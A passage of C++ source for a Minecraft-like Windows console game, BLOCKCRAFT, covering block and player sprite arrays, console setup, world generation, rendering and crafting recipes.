{ 2, 2, 0, 2, 2, 2, 2, 0, 2, 2},
{ 2, 2, 0, 2, 2, 2, 2, 0, 2, 2},
{ 2, 2, 0, 2, 2, 2, 2, 0, 2, 2},
{ 2, 2, 0, 2, 2, 2, 2, 0, 2, 2},
{ 2, 2, 0, 2, 2, 2, 2, 0, 2, 2},
{ 2, 2, 0, 2, 2, 2, 2, 0, 2, 2},
{ 2, 2, 0, 2, 2, 2, 2, 0, 2, 2},
{ 2, 2, 0, 2, 2, 2, 2, 0, 2, 2},
{ 2, 2, 0, 2, 2, 2, 2, 0, 2, 2},
{ 2, 2, 0, 2, 2, 2, 2, 0, 2, 2}
},{
//33:沙子
{ 14, 14, 15, 15, 14, 14, 15, 15, 14, 14},
{ 14, 14, 15, 15, 14, 14, 15, 15, 14, 14},
{ 15, 15, 14, 14, 15, 15, 14, 14, 15, 15},
{ 15, 15, 14, 14, 15, 15, 14, 14, 15, 15},
{ 14, 14, 15, 15, 14, 14, 15, 15, 14, 14},
{ 14, 14, 15, 15, 14, 14, 15, 15, 14, 14},
{ 15, 15, 14, 14, 15, 15, 14, 14, 15, 15},
{ 15, 15, 14, 14, 15, 15, 14, 14, 15, 15},
{ 14, 14, 15, 15, 14, 14, 15, 15, 14, 14},
{ 14, 14, 15, 15, 14, 14, 15, 15, 14, 14}
}
};
int pLus[10][10]={
{15,15,15,15,0,0,15,15,15,15},
{15,15,15,15,0,0,15,15,15,15},
{15,15,15,15,0,0,15,15,15,15},
{15,15,15,15,0,0,15,15,15,15},
{0,0,0,0,0,0,0,0,0,0},
{0,0,0,0,0,0,0,0,0,0},
{15,15,15,15,0,0,15,15,15,15},
{15,15,15,15,0,0,15,15,15,15},
{15,15,15,15,0,0,15,15,15,15},
{15,15,15,15,0,0,15,15,15,15}
};
int eq[10][10]={
{15,15,15,15,15,15,15,15,15,15},
{15,15,15,15,15,15,15,15,15,15},
{0,0,0,0,0,0,0,0,0,0},
{0,0,0,0,0,0,0,0,0,0},
{15,15,15,15,15,15,15,15,15,15},
{15,15,15,15,15,15,15,15,15,15},
{0,0,0,0,0,0,0,0,0,0},
{0,0,0,0,0,0,0,0,0,0},
{15,15,15,15,15,15,15,15,15,15},
{15,15,15,15,15,15,15,15,15,15}
};
int good[10][10]={
{15,15,15,15,15,15,15,15,15,15},
{15,15,15,15,15,15,15,15,15,2},
{15,15,15,15,15,15,15,15,2,15},
{15,15,15,15,15,15,15,2,15,15},
{15,15,15,15,15,15,2,15,15,15},
{15,2,15,15,15,2,15,15,15,15},
{15,15,2,15,2,15,15,15,15,15},
{15,15,15,2,15,15,15,15,15,15},
{15,15,15,15,15,15,15,15,15,15},
{15,15,15,15,15,15,15,15,15,15}
};
int bad[10][10]={
{15,15,15,15,15,15,15,15,15,15},
{15,15,15,15,15,15,15,15,15,15},
{15,15,4,15,15,15,4,15,15,15},
{15,15,15,4,15,4,15,15,15,15},
{15,15,15,15,4,15,15,15,15,15},
{15,15,15,4,15,4,15,15,15,15},
{15,15,4,15,15,15,4,15,15,15},
{15,15,15,15,15,15,15,15,15,15},
{15,15,15,15,15,15,15,15,15,15},
{15,15,15,15,15,15,15,15,15,15}
};
int nums[13][10][5]={
{
{7,7,7,7,7},
{7,0,0,0,7},
{7,0,7,0,7},
{7,0,7,0,7},
{7,0,7,0,7},
{7,0,7,0,7},
{7,0,7,0,7},
{7,0,7,0,7},
{7,0,0,0,7},
{7,7,7,7,7}
},
{
{7,7,7,7,7},
{7,7,7,0,7},
{7,7,7,0,7},
{7,7,7,0,7},
{7,7,7,0,7},
{7,7,7,0,7},
{7,7,7,0,7},
{7,7,7,0,7},
{7,7,7,0,7},
{7,7,7,7,7}
},
{
{7,7,7,7,7},
{7,0,0,0,7},
{7,7,7,0,7},
{7,7,7,0,7},
{7,0,0,0,7},
{7,0,7,7,7},
{7,0,7,7,7},
{7,0,7,7,7},
{7,0,0,0,7},
{7,7,7,7,7}
},
{
{7,7,7,7,7},
{7,0,0,0,7},
{7,7,7,0,7},
{7,7,7,0,7},
{7,0,0,0,7},
{7,7,7,0,7},
{7,7,7,0,7},
{7,7,7,0,7},
{7,0,0,0,7},
{7,7,7,7,7}
},
{
{7,7,7,7,7},
{7,0,7,0,7},
{7,0,7,0,7},
{7,0,7,0,7},
{7,0,0,0,7},
{7,7,7,0,7},
{7,7,7,0,7},
{7,7,7,0,7},
{7,7,7,0,7},
{7,7,7,7,7}
},
{
{7,7,7,7,7},
{7,0,0,0,7},
{7,0,7,7,7},
{7,0,7,7,7},
{7,0,0,0,7},
{7,7,7,0,7},
{7,7,7,0,7},
{7,7,7,0,7},
{7,0,0,0,7},
{7,7,7,7,7}
},
{
{7,7,7,7,7},
{7,0,0,0,7},
{7,0,7,7,7},
{7,0,7,7,7},
{7,0,0,0,7},
{7,0,7,0,7},
{7,0,7,0,7},
{7,0,7,0,7},
{7,0,0,0,7},
{7,7,7,7,7}
},
{
{7,7,7,7,7},
{7,0,0,0,7},
{7,7,7,0,7},
{7,7,7,0,7},
{7,7,7,0,7},
{7,7,7,0,7},
{7,7,7,0,7},
{7,7,7,0,7},
{7,7,7,0,7},
{7,7,7,7,7}
},
{
{7,7,7,7,7},
{7,0,0,0,7},
{7,0,7,0,7},
{7,0,7,0,7},
{7,0,0,0,7},
{7,0,7,0,7},
{7,0,7,0,7},
{7,0,7,0,7},
{7,0,0,0,7},
{7,7,7,7,7}
},
{
{7,7,7,7,7},
{7,0,0,0,7},
{7,0,7,0,7},
{7,0,7,0,7},
{7,0,0,0,7},
{7,7,7,0,7},
{7,7,7,0,7},
{7,7,7,0,7},
{7,0,0,0,7},
{7,7,7,7,7}
},
{
{7,7,7,7,7},
{7,0,7,7,7},
{7,0,7,7,7},
{7,0,7,7,7},
{7,0,0,0,7},
{7,0,7,0,7},
{7,0,7,0,7},
{7,0,7,0,7},
{7,0,7,0,7},
{7,7,7,7,7}
},
{
{7,7,7,7,7},
{7,0,7,7,7},
{7,0,7,7,7},
{7,0,7,7,7},
{7,0,7,0,7},
{7,0,7,0,7},
{7,0,0,7,7},
{7,0,7,0,7},
{7,0,7,0,7},
{7,7,7,7,7}
},
{
{7,7,7,7,7},
{7,7,7,7,7},
{7,7,0,7,7},
{7,7,0,7,7},
{7,0,0,0,7},
{7,7,0,7,7},
{7,7,0,7,7},
{7,7,7,7,7},
{7,7,7,7,7},
{7,7,7,7,7}
}
};
int player[20][10] = {
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 0, 0, 0, 0, 0, 0, 15, 15},
{15, 15, 0, 0, 0, 0, 0, 0, 15, 15},
{15, 15, 14, 14, 0, 0, 0, 0, 15, 15},
{15, 15, 14, 14, 14, 14, 0, 0, 15, 15},
{15, 15, 14, 14, 14, 14, 14, 14, 15, 15},
{15, 15, 14, 14, 14, 14, 14, 14, 15, 15},
{15, 15, 15, 3, 3, 3, 3, 15, 15, 15},
{15, 15, 15, 3, 3, 3, 3, 15, 15, 15},
{6, 3, 3, 3, 3, 3, 3, 15, 15, 15},
{6, 3, 3, 3, 3, 3, 3, 15, 15, 15},
{15, 15, 15, 3, 3, 3, 3, 15, 15, 15},
{15, 15, 15, 3, 3, 3, 3, 15, 15, 15},
{15, 15, 15, 1, 1, 1, 3, 15, 15, 15},
{15, 15, 15, 1, 1, 1, 1, 15, 15, 15},
{15, 15, 15, 1, 1, 1, 1, 15, 15, 15},
{15, 15, 15, 1, 1, 1, 1, 15, 15, 15},
{15, 15, 15, 1, 1, 1, 1, 15, 15, 15},
{15, 15, 15, 1, 1, 1, 1, 15, 15, 15},
{15, 15, 15, 8, 8, 8, 8, 15, 15, 15},
};
ofstream wlog("log.txt"); //日志输出
struct obj{
int id,num;
};
vector<obj>bag;
int pointer1,pointer2,pointer3;
//程序函数
int WDOUBLE = 0;
void hello() { //首次运行设置
nofastedit();
cursor(false);
SetConsoleActiveScreenBuffer(hsout);
swrite("你好,欢迎使用BLOCKCRAFT。\n");
swrite("在开始之前,我们需要进行一些设置。\n");
swrite("[按任意键继续]");
getch();
system("cls");
swrite("在显示的两个正方形中,选择较为规整的一个\n");
swrite("[按任意键继续]");
getch();
system("cls");
SetConsoleActiveScreenBuffer(hout);
setfontsize(4, 4);
for (int i = 1; i <= 10; i++) {
WORD w[1005];
int pos = 0;
COORD coord = {1, i};
for (int j = 1; j <= 10; j++) {
w[pos++] = get_font(4, 4);
}
WriteConsoleOutputAttribute(hout, w, pos, coord, &written);
}
for (int i = 1; i <= 10; i++) {
WORD w[1005];
int pos = 0;
COORD coord = {13, i};
for (int j = 1; j <= 10; j++) {
w[pos++] = get_font(4, 4);
w[pos++] = get_font(4, 4);
}
WriteConsoleOutputAttribute(hout, w, pos, coord, &written);
}
getch();
system("cls");
SetConsoleActiveScreenBuffer(hsout);
swrite("哪一个正方形是最规整的?\n");
swrite("1.左边的 2.右边的");
reinput:
int ipt = getch();
if (ipt == '1') {
WDOUBLE = 0;
} else if (ipt == '2') {
WDOUBLE = 1;
} else {
goto reinput;
}
system("cls");
swrite("按+/-调整窗口大小,F键确定\n");
swrite("请保持白色方块为正方形\n[按任意键继续]");
getch();
SetConsoleActiveScreenBuffer(hout);
if (WDOUBLE == 0) {
system("mode con:cols=200 lines=100");
} else {
system("mode con:cols=400 lines=100");
}
if (WDOUBLE == 0) {
for (int i = 1; i <= 10; i++) {
WORD w[1005];
int pos = 0;
COORD coord = {1, i};
for (int j = 1; j <= 10; j++) {
w[pos++] = get_font(4, 4);
}
WriteConsoleOutputAttribute(hout, w, pos, coord, &written);
}
} else {
for (int i = 1; i <= 10; i++) {
WORD w[1005];
int pos = 0;
COORD coord = {1, i};
for (int j = 1; j <= 10; j++) {
w[pos++] = get_font(4,4);
w[pos++] = get_font(4, 4);
}
WriteConsoleOutputAttribute(hout, w, pos, coord, &written);
}
}
int sizes = 4;
while (1) {
int ipt = getch();
if (ipt == '+' || ipt == '=') {
sizes++;
setfontsize(sizes, sizes);
if (WDOUBLE == 0) {
system("mode con:cols=200 lines=100");
} else {
system("mode con:cols=400 lines=100");
}
}
if (ipt == '-' || ipt == '_') {
sizes--;
if (sizes < 1) {
sizes = 1;
}
setfontsize(sizes, sizes);
if (WDOUBLE == 0) {
system("mode con:cols=200 lines=100");
} else {
system("mode con:cols=400 lines=100");
}
}
if (WDOUBLE == 0) {
for (int i = 1; i <= 10; i++) {
WORD w[1005];
int pos = 0;
COORD coord = {1, i};
for (int j = 1; j <= 10; j++) {
w[pos++] = get_font(4,4);
}
WriteConsoleOutputAttribute(hout, w, pos, coord, &written);
}
} else {
for (int i = 1; i <= 10; i++) {
WORD w[1005];
int pos = 0;
COORD coord = {1, i};
for (int j = 1; j <= 10; j++) {
w[pos++] = get_font(4, 4);
w[pos++] = get_font(4, 4);
}
WriteConsoleOutputAttribute(hout, w, pos, coord, &written);
}
}
if (ipt == 'f' || ipt == 'F') {
break;
}
}
SetConsoleActiveScreenBuffer(hsout);
system("cls");
ofstream sout("sets");
sout << WDOUBLE << " " << sizes;
sout.close();
swrite("谢谢!\n设置已保存,以后将不会出现此窗口。\n");
swrite("如果对此次设定不满意,可以删除sets文件以重新设置\n[按任意键继续]");
getch();
SetConsoleActiveScreenBuffer(hout);
}
int world[CgDu+5][300];
int X = CgDu*5, Y = 1280, LR = 0, FPS = 60; //玩家位置
int output[201][121]; //输出缓存
void sendprint() { //绘制控制台
WORD col[24005] = {};
int pos = 0;
//将二维数组存储到一维内
for (int i = 1; i <= 120; i++) {
for (int j = 1; j <= 200; j++) {
col[pos] = get_font(output[j][i], output[j][i]);
pos++;
}
}
writefont(col, 24000);
}
int unLight[CgDu+5][300];
void sendprint_double() { //绘制控制台
WORD col[48005] = {};
int pos = 0;
//将二维数组存储到一维内
for (int i = 1; i <= 120; i++) {
for (int j = 1; j <= 200; j++) {
col[pos] = get_font(output[j][i], output[j][i]);
pos++;
col[pos] = get_font(output[j][i], output[j][i]);
pos++;
}
}
writefont(col, 48000);
}
//世界
int dx[4]={0,0,-1,1},dy[4]={1,-1,0,0};
map<int,bool>unblock;
struct craft{
int num1,id1,num2,id2,num3,id3,num4,id4;
};
vector<craft>crafta,craftb,craftc;
int mode=0;
void init();
void render_block(int y,int x,int id){
for(int i=0;i<10;i++){
for(int j=0;j<10;j++){
output[x+i][y+j]=blocks[id][j][i];
}
}
}
void render_plus(int y,int x,int black=0,int white=15){
for(int i=0;i<10;i++){
for(int j=0;j<10;j++){
output[x+i][y+j]=(pLus[j][i]?white:black);
}
}
}
void render_eq(int y,int x,int black=0,int white=15){
for(int i=0;i<10;i++){
for(int j=0;j<10;j++){
output[x+i][y+j]=(eq[j][i]?white:black);
}
}
}
void render_number(int y,int x,int num,int black=0,int
white=15){
for(int i=0;i<5;i++){
for(int j=0;j<10;j++){
int k=nums[num/10][j][i];
output[x+i][y+j]=(k?white:black);
}
}
for(int i=0;i<5;i++){
for(int j=0;j<10;j++){
int k=nums[num%10][j][i];
output[x+i+5][y+j]=(k?white:black);
}
}
}
void render_good(int y,int x){
for(int i=0;i<10;i++){
for(int j=0;j<10;j++){
output[x+i][y+j]=good[j][i];
}
}
}
void render_bad(int y,int x){
for(int i=0;i<10;i++){
for(int j=0;j<10;j++){
output[x+i][y+j]=bad[j][i];
}
}
}
bool check(craft a){
int s1=0,s2=0,s3=0;
for(int i=0;i<bag.size();i++){
if(bag[i].id==a.id1){
s1+=bag[i].num;
}
if(bag[i].id==a.id2){
s2+=bag[i].num;
}
if(bag[i].id==a.id3){
s3+=bag[i].num;
}
}
if((s1>=a.num1||a.id1==0)&&(s2>=a.num2||a.id2==0)&&(
s3>=a.num3||a.id3==0)){
return 1;
}
return 0;
}
void Craft(craft cr){
int s1=cr.num1,s2=cr.num2,s3=cr.num3;
for(int i=0;i<bag.size();i++){
if(bag[i].id==cr.id1&&s1!=0){
if(bag[i].num>=s1){
bag[i].num-=s1;
}else{
s1-=bag[i].num;
bag[i].num=0;
}
}
if(bag[i].id==cr.id2&&s2!=0){
if(bag[i].num>=s2){
bag[i].num-=s2;
}else{
s2-=bag[i].num;
bag[i].num=0;
}
}
if(bag[i].id==cr.id3&&s3!=0){
if(bag[i].num>=s3){
bag[i].num-=s3;
}else{
s3-=bag[i].num;
bag[i].num=0;
}
}
}
for(int i=0;i<bag.size();i++){
if(bag[i].num==0){
bag.erase(bag.begin()+i);
i--;
}
}
obj o;
o.num=cr.num4;
o.id=cr.id4;
for(int i=0;i<bag.size();i++){
if(o.id==bag[i].id){
bag[i].num+=o.num;
return;
}
}
bag.push_back(o);
}
bool check_block_unlight(int m){
return m==3||m==4||m==8||m==9||m==10||m==13;
}
bool check_light(int x,int y){
for(int i=0;i<=3;i++){
if(unLight[x+dx[i]][y+dy[i]]==0&&!check_block_unlight(
world[x+dx[i]][y+dy[i]])){
return 1;
}
}
return 0;
}
int wat,*wab;
void console() { //设置控制台
system("title BLOCKCRAFT");
system("chcp 936");
system("cls");
hsout = CreateConsoleScreenBuffer(GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, 1, NULL);
if (!access("sets")) { //不存在
hello();
}
UI();
cout<<"请输入存档名:(没有此档则会自动建档,none重新建档)";
cin>>xs;
if(xs=="none"){
cout<<"请输入档名:"
;cin>>xs;
/*if(xs=="kuang_che"){
generation(1);
for(int i=80;i<=CgDu-80;i++){
for(int j=39;j<=123;j++){
if(world[i][j]==1){
world[i][j]=18;
}
}
}
}else{*/
generation(-1);
}else{
if(access(xs)){
ifstream sin(xs.c_str());
int cnt=0;
for(int i=0;i<=CgDu;i++){
for(int j=0;j<=256;j++){
sin>>world[i][j];
if(sin){
cnt++;
}
}
}
for(int i=0;i<=CgDu;i++){
for(int j=0;j<=256;j++){
int x;
sin>>unLight[i][j];//=bool(x);
if(sin){
cnt++;
}
}
}
int C=cnt;
sin>>X>>Y;
if(sin){
cnt+=2;
}
int t,t2;
while(sin>>t>>t2){
cnt+=2;
bag.push_back((obj){t,t2});
}
if(cnt==C){
cout<<"存档可能被**,请截屏发给EX-HSFX官方";
while(1){
getch();
}
}
}else{
generation(-1);
}
}
nofastedit(); //关闭快速输入
cursor(false); //关闭光标显示
ifstream sin("sets");
int sizes;
sin >> WDOUBLE >> sizes; //读入设置
sin.close();
setfontsize(sizes, sizes);
if (WDOUBLE == 0) {
system("mode con:cols=200 lines=120");
} else {
system("mode con:cols=400 lines=120");
}
}
void render() { //软件渲染器
if(mode==0){
int x_left = X / 10 - 9,
x_right = (X % 10 == 0) ? (X / 10 + 10) :
(X / 10 + 11); //计算需要渲染的左边线和右边线
int y_left = (Y % 10 == 0) ? (Y / 10 - 5) :
(Y / 10 - 6), y_right = Y / 10 + 5; //计算需要渲染的上边线和下边线
int x_more = X % 10, y_more = Y % 10; //计算多出的部分
int x_pos = 1, y_pos = 1; //渲染位置计算
//渲染世界
for (int i = x_left; i <= x_right; i++) {
y_pos = 1;
for (int j = y_right; j >= y_left; j--) {
for (int p_i = 0; p_i < 10; p_i++) {
for (int p_j = 0; p_j < 10; p_j++) {
if (x_pos + p_i - x_more < 0 ||
x_pos + p_i - x_more > 200 ||
y_pos - p_j + y_more < 0 ||
y_pos - p_j + y_more > 100) {
continue; //如果越界则跳过
}
if(check_light(i,j)){
unLight[i][j]=0;
output[x_pos + p_i - x_more][y_pos - p_j
+ y_more] = blocks[world[i][j]][9 - p_j
][p_i];
}else
output[x_pos + p_i - x_more][y_pos - p_j
+ y_more]=0;
}
}
y_pos += 10;
}
x_pos += 10;
}
//渲染玩家
for (int i = 0; i < 10; i++) {
for (int j = 0; j < 20; j++) {
if(on_car==0||j<11)
if (LR == 0) {
if (player[j][i] != 15) {
output[91 + i][36 + j] = player[j][i];
}
} else {
if (player[j][9 - i] != 15) {
output[91 + i][36 + j] = player[j][9 - i];
}
}
}
}
}
else if(mode==1){
for(int i=1;i<=200;i++){
for(int j=1;j<=100;j++){
output[i][j]=15;
}
}
for(int i=pointer3;i<crafta.size()&&i<pointer3+9;i++){
int k=i-pointer3;
render_number(k*11+1,0,crafta[i].num1);
render_block(k*11+1,10,crafta[i].id1);
render_plus(k*11+1,20);
render_number(k*11+1,30,crafta[i].num2);
render_block(k*11+1,40,crafta[i].id2);
render_plus(k*11+1,50);
render_number(k*11+1,60,crafta[i].num3);
render_block(k*11+1,70,crafta[i].id3);
render_eq(k*11+1,80);
render_number(k*11+1,90,crafta[i].num4);
render_block(k*11+1,100,crafta[i].id4);
if(check(crafta[i])){
render_good(k*11+1,120);
}else{
render_bad(k*11+1,120);
}
}
}else if(mode==2){
for(int i=1;i<=200;i++){
for(int j=1;j<=100;j++){
output[i][j]=15;
}
}
for(int i=pointer3;i<craftb.size()&&i<pointer3+9;i++){
int k=i-pointer3;
render_number(k*11+1,0,craftb[i].num1);
render_block(k*11+1,10,craftb[i].id1);
render_plus(k*11+1,20);
render_number(k*11+1,30,craftb[i].num2);
render_block(k*11+1,40,craftb[i].id2);
render_plus(k*11+1,50);
render_number(k*11+1,60,craftb[i].num3);
render_block(k*11+1,70,craftb[i].id3);
render_eq(k*11+1,80);
render_number(k*11+1,90,craftb[i].num4);
render_block(k*11+1,100,craftb[i].id4);
if(check(craftb[i])){
render_good(k*11+1,120);
}else{
render_bad(k*11+1,120);
}
}
}else if(mode==3){
for(int i=1;i<=200;i++){
for(int j=1;j<=100;j++){
output[i][j]=15;
}
}
for(int i=pointer3;i<craftc.size()&&i<pointer3+9;i++){
int k=i-pointer3;
render_number(k*11+1,0,craftc[i].num1);
render_block(k*11+1,10,craftc[i].id1);
render_plus(k*11+1,20);
render_number(k*11+1,30,craftc[i].num2);
render_block(k*11+1,40,craftc[i].id2);
render_plus(k*11+1,50);
render_number(k*11+1,60,craftc[i].num3);
render_block(k*11+1,70,craftc[i].id3);
render_eq(k*11+1,80);
render_number(k*11+1,90,craftc[i].num4);
render_block(k*11+1,100,craftc[i].id4);
if(check(craftc[i])){
render_good(k*11+1,120);
}else{
render_bad(k*11+1,120);
}
}
}
int colour=(jianzao?9:12);
for(int i=0;i+pointer2*20<bag.size();i++){
for(int j=0;j<5;j++){
for(int k=0;k<10;k++){
if(pointer1!=i){
if(bag[i+pointer2*20].num<100)
output[i*10+1+j][111+k]=nums[bag[i
+pointer2*20].num%100/10][k][j];
else if(bag[i+pointer2*20].num<1000)
output[i*10+1+j][111+k]=nums[10][k][j];
else
output[i*10+1+j][111+k]=nums[11][k][j];
}else{
if(bag[i+pointer2*20].num<100)
output[i*10+1+j][111+k]=((nums[bag[i+
pointer2*20].num%100/10][k][j]==0)?colour:7);
else if(bag[i+pointer2*20].num<1000)
output[i*10+1+j][111+k]=((nums[10][k][j]==0)
?colour:7);
else
output[i*10+1+j][111+k]=((nums[11][k][j]==0)
?colour:7);
}
}
}
for(int j=0;j<5;j++){
for(int k=0;k<10;k++){
if(pointer1!=i){
if(bag[i+pointer2*20].num<100)
output[i*10+6+j][111+k]=nums[bag[i
+pointer2*20].num%10][k][j];
else
output[i*10+6+j][111+k]=nums[12][k][j];
}else{
if(bag[i+pointer2*20].num<100)
output[i*10+6+j][111+k]=((nums[bag[i+
pointer2*20].num%10][k][j]==0)?colour:7);
else
output[i*10+6+j][111+k]=((nums[12][k][j]==0)
?colour:7);
}
}
}
}
for(int i=0;i+pointer2*20<bag.size();i++){
for(int j=0;j<10;j++){
for(int k=0;k<10;k++){
output[i*10+1+j][101+k]=blocks[bag[i+pointer2*20
].id][k][j];
}
}
}
for(int i=max((int)bag.size()-pointer2*20,0);i<=20;i++){
for(int j=0;j<10;j++){
for(int k=0;k<20;k++){
output[i*10+1+j][101+k]=0;
}
}
}
}
void dfs_dong(int st,int x,int y){
if(x<=80||y<=80||x>=CgDu-80||world[x][y]==0||st==0){
return ;
}
world[x][y]=0;
for(int i=0;i<3;i++){
if(rand(1,3)>1){
dfs_dong(st-1,x+dx[i],y+dy[i]);
}
}
}
int check_time(int bl,int cr){
int T;
if(cr==21){
if(bl==1||bl==2){
return 2;
}
if(bl==3||bl==15||bl==13){
return 2;
}
if(bl==6||bl==11||bl==12){
return 3;
}
if(bl==7){
return 1;
}
if(bl==8||bl==18){
return 7;
}
if(bl==10||bl==19){
return 15;
}
if(bl==9||bl==14){
return 35;
}
}else if(cr==22){
if(bl==1||bl==2){
return 2;
}
if(bl==3||bl==15||bl==13){
return 1;
}
if(bl==6||bl==11||bl==12){
return 3;
}
if(bl==7){
return 1;
}
if(bl==8||bl==18){
return 5;
}
if(bl==10||bl==19){
return 10;
}
if(bl==9||bl==14){
return 25;
}
}else if(cr==23){
if(bl==1||bl==2){
return 2;
}
if(bl==3||bl==15||bl==13){
return 1;
}
if(bl==6||bl==11||bl==12){
return 3;
}
if(bl==7){
return 1;
}
if(bl==8||bl==18){
return 1;
}
if(bl==10||bl==19){
return 3;
}
if(bl==9||bl==14){
return 15;
}
}else if(cr==24){
if(bl==1||bl==2){
return 1;
}
if(bl==3||bl==15||bl==13){
return 1;
}
if(bl==6||bl==11||bl==12){
return 1;
}
if(bl==7){
return 1;
}
if(bl==8||bl==18){
return 1;
}
if(bl==10||bl==19){
return 1;
}
if(bl==9||bl==14){
return 5;
}
}
else{
if(bl==1||bl==2){
return 2;
}
if(bl==3||bl==15||bl==13){
return 5;
}
if(bl==6||bl==11||bl==12){
return 3;
}
if(bl==7){
return 1;
}
if(bl==8||bl==18){
return 10;
}
if(bl==10||bl==19){
return 20;
}
if(bl==9||bl==14){
return 50;
}
}
return 1;
}
void generation(int seed) {
//生成种子
if (seed == -1) {
srand(time(0));
srand(rand() + time(0));
seed = rand();
}
srand(seed);
//生成空气
for (int i = 0; i < CgDu; i++) {
for (int j = 1; j < 256; j++) {
world[i][j] = 0;
}
}
//生成基本地形
int grass = rand(50, 80);
int higher = rand(1, 3);
int trend = 1, stop_sum = 1;
bool biome = rand(0, 1);
int tree;
bool sand=0;
for (int i = 0; i < CgDu; i++) {
world[i][0] = 4; //基岩
for (int j = 1; j < grass - 3; j++) {
unLight[i][j]=1;
if(i<80||i>CgDu-80){
for(int j=1;j<300;j++){
world[i][j]=4;
}
goto again;
}
if(j==14){
if(rand(1,14)==1){
world[i][j]=9;
continue;
}
}
if(rand(1,1000)==1){
dfs_dong(rand(3,5),i-1,j);
}
if(rand(1,6000)==1){
dfs_dong(rand(12,15),i-1,j);
}
if(rand(1,20000)==1){
dfs_dong(rand(20,30),i-1,j);
}
if(rand(1,30)!=1){
world[i][j]=3;
}else if(rand(1,5)!=1){
world[i][j]=8+rand(0,1)*5;
}else if(rand(1,5)==3&&j<20){
world[i][j]=9;
}else{
world[i][j]=10;
}
}
for (int j = grass - 3; j < grass; j++) {
world[i][j] = (sand?33:2); //泥土
}
world[i][grass] = (sand?33:1);
if(tree==0&&(world[i][grass]!=5))
tree=int(!rand(0,20))*5;
else
tree=0;
if(tree!=0&&i>80&&i<CgDu-80){
for(int j=grass+1;j<grass+tree;j++){
world[i][j]=(sand?32:6);
if(j==grass+tree-1&&sand==0){
for(int k=-2;k<=2;k++){
if(world[i+k][j]==0){
world[i+k][j]=7;
}
}
for(int k=-2;k<=2;k++){
if(world[i+k][j+1]==0){
world[i+k][j+1]=7;
}
}
for(int k=-1;k<=1;k++){
if(world[i+k][j+2]==0){
world[i+k][j+2]=7;
}
}
}
}
}
if (biome) { //生成下一个草方块高度
if (rand(0, 7) == 3) {
grass += trend;
stop_sum = 1;
} else {
stop_sum++;
}
} else {
if (rand(0, nozero(3 - stop_sum)) == 0) {
grass += trend * higher;
stop_sum = 1;
} else {
stop_sum++;
}
}
//随机更新高度
if (rand(0, 1) == 1) {
higher++;
} else {
higher--;
}
if (rand(0, 40) == 10) {
trend *= -1;
}
if (rand(0, 100) == 50) {
biome = !biome;
}
//限制范围
if (grass > 120) {
grass = 120;
}
if (grass < 40) {
grass = 40;
}
if (higher > 2) {
higher = 2;
}
if (higher < 1) {
higher = 1;
}
if(grass<=55){
if(rand(1,3)==3){
trend=1;
}
}
if(sand==0&&rand(1,100)==1){
sand=1;
}
if(sand==1&&rand(1,50)==1){
sand=0;
}
again:;
}
}
void *printmain(void *arg) {
clock_t st, tmp;
int sum = 0, fps = -1;
char t[1005];
st = clock();
while (1) {
render(); //软件渲染
if (WDOUBLE == 0) { //发送渲染
sendprint();
} else {
sendprint_double();
}
sum++; //记录渲染个数
sprintf(t, "BLOCKCRAFT (X:%.1f,Y:%.1f,FPS:%d)", X * 1.0 / 10.0, Y * 1.0 / 10.0, fps); //输出FPS,坐标
tmp = clock();
if (tmp - st >= 1000) { //计算FPS
fps = sum / ((tmp - st) / 1000.0);
sum = 0;
st = tmp;
}
SetConsoleTitleA(t); //输出FPS
}
}
bool canin(int x) { //判断人能否进入方块
return x == 0 || x == 5||x==6||x==7||x==16||x==17||x==20
||x==21||x==22||x==23||x==26||x==27||x==25||x==24||x==31
||x==30;
}
bool _canin(int x,int y){
return canin(world[x/10][y/10]);
}
void inita(){
craft now_craft;
now_craft.id1=6; now_craft.num1=1;
now_craft.id2=0; now_craft.num2=0;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=11; now_craft.num4=4;
crafta.push_back(now_craft);
now_craft.id1=11; now_craft.num1=4;
now_craft.id2=0; now_craft.num2=0;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=12; now_craft.num4=1;
crafta.push_back(now_craft);
now_craft.id1=11; now_craft.num1=2;
now_craft.id2=0; now_craft.num2=0;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=20; now_craft.num4=4;
crafta.push_back(now_craft);
}
void initb(){
craft now_craft;
now_craft.id1=6; now_craft.num1=1;
now_craft.id2=0; now_craft.num2=0;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=11; now_craft.num4=4;
craftb.push_back(now_craft);
now_craft.id1=11; now_craft.num1=4;
now_craft.id2=0; now_craft.num2=0;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=12; now_craft.num4=1;
craftb.push_back(now_craft);
now_craft.id1=9; now_craft.num1=9;
now_craft.id2=0; now_craft.num2=0;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=14; now_craft.num4=1;
craftb.push_back(now_craft);
now_craft.id1=14; now_craft.num1=1;
now_craft.id2=0; now_craft.num2=0;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=9; now_craft.num4=9;
craftb.push_back(now_craft);
now_craft.id1=3; now_craft.num1=8;
now_craft.id2=0; now_craft.num2=0;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=15; now_craft.num4=1;
craftb.push_back(now_craft);
now_craft.id1=16; now_craft.num1=9;
now_craft.id2=0; now_craft.num2=0;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=18; now_craft.num4=1;
craftb.push_back(now_craft);
now_craft.id1=17; now_craft.num1=9;
now_craft.id2=0; now_craft.num2=0;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=19; now_craft.num4=1;
craftb.push_back(now_craft);
now_craft.id1=19; now_craft.num1=1;
now_craft.id2=0; now_craft.num2=0;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=17; now_craft.num4=9;
craftb.push_back(now_craft);
now_craft.id1=11; now_craft.num1=2;
now_craft.id2=0; now_craft.num2=0;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=20; now_craft.num4=4;
craftb.push_back(now_craft);
now_craft.id1=11; now_craft.num1=3;
now_craft.id2=20; now_craft.num2=2;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=21; now_craft.num4=1;
craftb.push_back(now_craft);
now_craft.id1=16; now_craft.num1=3;
now_craft.id2=20; now_craft.num2=2;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=23; now_craft.num4=1;
craftb.push_back(now_craft);
